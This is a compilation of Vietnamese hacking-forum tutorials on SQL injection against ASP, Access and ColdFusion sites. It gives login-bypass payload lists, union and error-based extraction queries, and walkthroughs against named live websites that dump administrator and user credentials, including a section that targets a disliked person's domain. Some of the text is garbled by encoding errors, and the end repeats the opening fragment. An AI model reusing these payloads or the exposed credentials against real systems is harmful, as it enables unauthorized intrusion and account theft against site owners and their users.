TUTORIALBYGAMMA95 Một trong những câu hỏi thường gặp nhất khi các bạn đi hack website mà hệ quản trị CSDL nó xài Access là “Tại sao lúc thì dùng Union exploit được nhưng lúc thì lại là 1 cái error khó chịu tương tự thế này Error Type: Microsoft JET Database Engine (0x80004005) Syntax error in FROM clause. “ bắn ra ??và liệu có thể có các nào khai thác tiếp được ko ,xin thưa rằng sở dĩ chúng ta bị như vậy chẳng qua Access ko có kí tự comment kiểu như ‘—‘ như trong MSSQL ,nếu có thì ko còn gì để nói …mình thì chỉ có vài kinh nghiệm sơ sơ về vụ này nên viết bài này hy vọng phần nào giảI đáp thắc mắc của các ban Do rules của HVA là ko được public các site lỗi ,nên mình đành phải tự chế biến code lại của thằng vpasp và up lên cái host tạm để test Ok …linktest http://b.domaindlx.com/philips/asp/shopadmin.asp code verify user+pass trong file shopadmin.asp là username=request("Username") userpassword=request("password") if ucase(Username)<>"SUPPLIER" then sql = "select * from tbluser where fldusername='" & username & "' and fldpassword='" & userpassword & "'" //hì,thực tế mình đã del 2 dòng code [QUOTE]username=replace(username,"'","") userpassword=replace(userpassword,"'","")[/QUOTE] lọc dấu nháy đơn nên hiện giờ nó đã bị bypass,và cũng xin nói sâu hơn chút về by pass tại cái form này nếu bạn insert [QUOTE]username:’ or ‘’=’ password:anything[/QUOTE] thì ko được,nhưng nếu các bạn bypass như thế này [QUOTE]username:anything password:’ or ‘’=’[/QUOTE] thì lạI ok ,tạI sao vậy ??nguyên nhân do nếu bạn by pass theo kiểu trường hợp 1 thì đọan query get từ form sẽ là sql = "select * from tbluser where fldusername=’’ or ‘’=’’ and fldpassword=’anything’[/QUOTE] do thứ tự ưu tiên của phép tóan nên phép tóan and sẽ được ưu tiên trước phép or vì thế thì vế ‘’=’’ and fldpassword=’anything’ sẽ được thực thi trước và có chân trị là false (do ‘’=’’ true but fldpassword=’anything’ false à qua phép and sẽ là false ) sau đó được or với query còn lại là fldusername=’’ or false là false (do cái fldusername=’’ là false nên or 2 vế false ra false ) -->ko bypass được còn trường hợp 2 [QUOTE]sql = "select * from tbluser where fldusername=’anything’ and fldpassword=’’ or ‘’=’’[/QUOTE] do thứ tự ưu tiên của phép tóan phép tóan and sẽ được ưu tiên trước phép or vì thế vế fldusername=’anything’ and fldpassword=’’ sẽ thực thi trước và sẽ có giá trị false (do fldusername=’anything’ là false và fldpassword=’’ cũng false nốt,nhưng sau đó nó lại được or ‘’=’’ (‘’=’’ luôn đúng ) nên chân trị nguyên query này là true --> by pass …phù vì thế trước giờ các bác đi by pass tòan là username :’ or ‘’=’ password :’ or ‘’=’ cho chắc cú phảI ko nhể ?? hehe ,những cái em nói trên cho các bác hiểu sâu sâu về by pass chút thôi Thôi,nãy giờ lan man wá,ko đi vào chủ đề chính ok…bi giờ các bác inject nháy đơn để xem lạI chính xác nó có bị sql ij hay ko ,sau khi ij và submit thì nó ra cái này Error Type: [QUOTE]Microsoft JET Database Engine (0x80040E14) Syntax error in string in query expression 'fldusername=''' and fldpassword='''.[/QUOTE] /asp/shopadmin.asp, line 34 Ok,trường hợp là các form login thì chúng ta rất dễ biết được tên column do error bắn ra (các trường hợp khác trên URL thì thường là ọc ra những column ko mong đơi chút nào ) Ok,giả sử chúng ta biết là table chứa 2 column fldusername,fldpassword là tbluser,okay,union xem sao [QUOTE]Username :’ union select 1,1…1 from tbluser Password :anything[/QUOTE] Và nó ọc ra cái này đây [QUOTE]Error Type: Microsoft JET Database Engine (0x80004005) Syntax error in FROM clause. /asp/shopadmin.asp, line 34[/QUOTE] TạI sao vậy ?câu query get được từ form là sql = "select * from tbluser where fldusername=’’ union select 1,1 from tbluser' and fldpassword=’anything’ bạn để ý ngay sau tbluser của query Union sẽ bị thừa 1 cái dấu nháy đơn do code chuẩn nó thêm vào nên câu query thật là vô nghĩa ,họặc nếu có thêm ‘and 1=2 union select …đi chăng nữa thì cũng vô nghĩa nên nó mớI bắn ra cái thông báo [QUOTE]Syntax error in FROM clause.[/QUOTE] Ok…vậy thì chúng ta sẽ khắc phục như sau Username :’ union select 1 from tbluser where ‘1’=’1 Password:anything Mục đích thêm cái where ‘1’=’1 như vậy để cái dấu nháy của query tự động thêm nốt dấu nháy còn lạI vào where ‘1’=’1’ --> hòan tòan hợp lý phảI ko nào ?? Và query lúc này như sau: [QUOTE]sql = "select * from tbluser where fldusername=’’ union select 1 from tbluser where ‘1’=’1’ and fldpassword='anything’[/QUOTE] hì,1 cái error quen thuộc bắn ra [QUOTE]Microsoft JET Database Engine (0x80040E14) The number of columns in the two selected tables or queries of a union query do not match.[/QUOTE] Phần còn lại rất dễ,chắc các bác biết hết rồi nên ko nói ở đây Xong …nhưng chỉ là xong khi chúng ta khắc phục điều này khi exploit SQL ij trên các form login mà thôi ,còn trên các URL thì sao ,có gì khác so với exploit trên form ?? hẹn các bạn bài sau trong thờI gian tới (bây giờ bận thi học kì) MọI Feedback xin post lên 4rum,xin đừng PM,mail v v TUTORIAL HACK CFM FROM HCV Thường thì các bạn chỉ search site dính sql injection và site đó xài ASP đúng không . vậy sao ko search những site dùng cfm nhỉ. Hum nay lướt chơi thấy có site bị lỗi nên đánh bạo post bài cho anh em đọc có câu cú gì sai sót về kĩ thuật xin anh em lượng thứ Tui là newbie mờ . Lên google gõ từ khóa : allinurl:"affiliate-agreement.cfm?storeid" Và kết quả cho ta vài trang . okie chọn đại 1 trang coi tui chọn thằng này : QUOTE http://www.channel69shopping.com/store/affiliate-agreement.cfm?storeid= Thêm dấu ' vào xem . QUOTE http://www.channel69shopping.com/store/affiliate-agreement.cfm?storeid=' QUOTE Error Executing Database Query. [Macromedia][SequeLink JDBC Driver][ODBC Socket][Microsoft][ODBC SQL Server Driver][SQL Server]Line 3: Incorrect syntax near ''. The error occurred in E:\mars\wwwroot\channel69shopping\store\loadconfig.cfm: line 4 Called from E:\mars\wwwroot\channel69shopping\store\affiliate-agreement.cfm: line 23 Called from E:\mars\wwwroot\channel69shopping\store\loadconfig.cfm: line 4 Called from E:\mars\wwwroot\channel69shopping\store\affiliate-agreement.cfm: line 23 2 : SELECT * 3 : FROM config 4 : WHERE ID=#storeid# 5 : </CFQUERY> Chậc sao nhòm cái error wen wá dzậy trời . Giờ ta thử 1 chút xem sao QUOTE http://www.channel69shopping.com/store/affiliate-agreement.cfm?storeid=%2bconvert(int,(select%20top%201% 20table_name%20from%20information_schema.tables))--sp_password Ặc . xem cái gì hiện ra nè mấy bồ QUOTE Error Executing Database Query. [Macromedia][SequeLink JDBC Driver][ODBC Socket][Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'administration' to a column of data type int. Hay quá ta mới test đã ra cái mình cần rùi nè . Lấy username và pass thui hihi à quên . với thằng này bạn không thể lấy cùng lúc cả username và pass được mà bạn phải lấy từng thằng một . Không hiểu sao . Kệ . Có còn hơn không nha QUOTE [url=http://www.channel69shopping.com/store/affiliate-agreement.cfm?storeid=%2bconvert(int,(select%20top%201% 20username from administration]http://www.channel69shopping.com/store/aff .%201%20username[/url] from administration Username là Administrator Rùi pass nữa nha QUOTE [url=http://www.channel69shopping.com/store/affiliate-agreement.cfm?storeid=%2bconvert(int,(select%20top%201% 20password from administration]http://www.channel69shopping.com/store/aff .%201%20password[/url] from administration Hehe pass nè : cartease Login đi thôi http://www.channel69shopping.com/store/admin Đã check thành công post cho các bác newbie như destroyer thực hành hope success TUTORIAL NAỉY KHONG BIET TAC GIA Trong bai viờt nay, tụi se co kem theo qua trinh inject mụ t website va ly thuyờ t c ban vờ SQL injection ờ ca c ba n co thờ hiờu ro hn. Nhng co le la chi cho newbie thụi, khi nao rụi tụi se viờ t va h ng dõn advance sql injection, tõt nhiờn co kem theo mụ t site ờ ca c ba n th c hanh. Chu ng ta hay bt õu : Sql injection ang dõn phụ biờ n hiờ n nay, va co le lụi nhiờu nhõt võn la ca c site MS SQl. No rõt nguy hiờm, no cho phe p chu ng ta login m khụng cn username v password, remote execution, dump data va truy xuõt username + password ra ngoai bng cach input cac query/command vo input trc khi chuyn cho ng dng web x lớ. ờ th xem site o co bi lụi hay khụng, ba n th input vao cac field username va pass bng : " or 1=1-- or 1=1-- ' or a=a-- " or "a"="a ') or ('a'='a ") or ("a"="a hi" or "a"="a hi" or 1=1 -- hi' or 1=1 -- hi' or 'a'='a hi') or ('a'='a hi") or ("a"="a 'or''=' va con rõt nhiờu na tụi khụng tiờ n viờt õy. Rõ t co thờ ba n se login c vao v i quyờn admin ho c mụ t user nao o . Nhng bai viờt nay tụi no i ờn cach truy xuõt username va password ra ngoai ờ chu ng ta m c nhiờn vao trong CP. õy, tụi se lõy ra mụ t site bõ t ky, nhng khi ba n muụ n tõn cụng mụ t trang nao o thi la i kha c, ba n phai bo cụng ra tim link nhiờm. Mu c tiờu tõn cụng :http://www.naame.com/manageAccount/manaccount516.asp Bõy gi ờ xac i nh xem co bi SQL injection khụng, ban th input ca c lờ nh tụi liờ t kờ trờn, khụng by pass login c ba n input th dõ u ngo c n ' kế t quả : Microsoft OLE DB Provider for SQL Server error '80040e14' Unclosed quotation mark before the character string '''. /manageAccount/acctIncludes/manaccount_inc.asp, line 33 thế là biế t mục tiêu bi ̣ lỗi rồi nhé , bây giờ viê ̣c cần làm là lấ y đươ ̣c ra các table name củ a nó , dùng : 'having 1=1-- .Ba ̣n hãy để ý thấy dâu --, vâng trong MS SQL, tất cả cá c thứ sau -- sẽ bi ̣ loa ̣i bỏ . Microsoft OLE DB Provider for SQL Server error '80040e14' Column 'LoginTable.Account' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /manageAccount/acctIncludes/manaccount_inc.asp, line 33 Ok rồi : Column 'LoginTable.Account' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. Vâ ̣y là ta lấ y được 1 table rồi đó . Bướ c tiế p theo : 'GROUP BY LoginTable.Account having 1=1-- Nó báo : Microsoft OLE DB Provider for SQL Server error '80040e14' Column 'LoginTable.UserName' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /manageAccount/acctIncludes/manaccount_inc.asp, line 33 La ̣i lấy đươ ̣c thêm mô ̣t cô ̣t nữa rồi. Ba ̣n thay vào : (thêm 1 cô ̣t và ngăn cách bằng dấu phẩy) 'GROUP BY LoginTable.Account, LoginTable.UserName having 1=1-- Ba ̣n cứ làm thế để lấ y cá c table củ a nó . Tôi đã lấy sẵn ra cho các ba ̣n : 'group by LoginTable.Account, LoginTable.UserName, LoginTable.Password, LoginTable.DomainName, LoginTable. Credits, LoginTable.LoginType having 1=1-- Lấ y được các table rồi thì làm gì? Các các ba ̣n nhìn vào cô ̣t "username" và "password" là thèm lắ m rồi, muố n lấy ra ngay, híc, nhưng phải từ từ đã, đi đâu mà vô ̣i. Có đươ ̣c nó rồi, ta thử tìm mô ̣t link bi ̣ lỗi (tìm nó trên thành address bằng cá ch thêm ' vào sau = hoă ̣c =cá i gì đó '). Nhưng mà ở trang này nó không có mô ̣t link nào dính lỗi, thì ta la ̣i dựa vào cái forum input vâ ̣y. Ta thử nhé : (input vào field username và password rồi submit thử ). 'union select min(UserName),1,1,1,1,1 from LoginTable where UserName > 'h'-- hì, chắ c các ba ̣n sẽ hỏ i mấ y cá i thằng 1,1,1,1,1 là gì sao la ̣i đă ̣t ở đó , nó i nôm na và dễ hiểu cho newbie luôn là các ba ̣n đế m xem có bao nhiêu cô ̣t ngoa ̣i trừ cô ̣t Username và thay cho mỗi cô ̣t đó là 1 . thế thôi. Còn thằng UserName > 'h' à, nó sẽ "xuất" ra mô ̣t username bấ t kỳ bắ t đầu bằng letter 'h' . Nó báo : Microsoft OLE DB Provider for SQL Server error '80040e07' Syntax error converting the nvarchar value 'h20h20' to a column of data type int. /manageAccount/acctIncludes/manaccount_inc.asp, line 33 Cườ i tươi xem nào, có 1 thằng username làm cảnh rồi nhé . Muố n biết password củ a ná o thì làm như sau : 'union select Password,1,1,1,1,1 from LoginTable where UserName = 'h20h20'-- Ta thay sau UserName là dấu = 'username vừa lấy đươ ̣c'-- Nó báo : Microsoft OLE DB Provider for SQL Server error '80040e07' Syntax error converting the nvarchar value 'legogame' to a column of data type int. /manageAccount/acctIncludes/manaccount_inc.asp, line 33 Hì, password là legogame kìa, ba ̣n login đi, còn chờ gì nữa. * Note : Nế u ba ̣n muố n lấ y thêm nhiều username khá c thì : 'union select min(UserName),1,1,1,1,1 from LoginTable where UserName > 'h20h20'-- nó sẽ lấy ra mô ̣t username khá c. Nế u ba ̣n muố n username bắ t đầu bằng B chẳng ha ̣n, thì thay bằng 'b'-- thế thôi. trong trườ ng hợp ba ̣n muố n tấn login vào mô ̣t domain nào đó đinh trướ c thì thay cô ̣t DomainName vào cô ̣t UserName. Ví du ̣ , tôi ghét thằng maika, nó có cái domain là H0MES4RENT.com mua ở đó thì tôi muố n biết password củ a nó ta dùng : 'union select password,1,1,1,1,1 from LoginTable where DomainName = 'H0MES4RENT.com'-- Nó báo : Microsoft OLE DB Provider for SQL Server error '80040e07' Syntax error converting the nvarchar value 'joepinguelo' to a column of data type int. /manageAccount/acctIncludes/manaccount_inc.asp, line 33 Hì password là joepinguelo rồi nhé, la ̣i lấy username của nó đi : 'union select UserName,1,1,1,1,1 from LoginTable where DomainName = 'H0MES4RENT.com'-- Kế t quả : Microsoft OLE DB Provider for SQL Server error '80040e07' Syntax error converting the nvarchar value 'joepinguelo' to a column of data type int. /manageAccount/acctIncludes/manaccount_inc.asp, line 33 Và Username là joepinguelo Login thử xem, Username : joepinguelo Password : joepinguelo . TUTORIAL BY GAMMA95 Một trong những câu hỏi thường gặp nhất khi các bạn đi hack website. userpassword=replace(userpassword,"'","")[/QUOTE] lọc dấu nháy đơn nên hiện giờ nó đã bị bypass,và cũng xin nói sâu hơn chút về by pass tại cái form này nếu bạn insert [QUOTE]username:’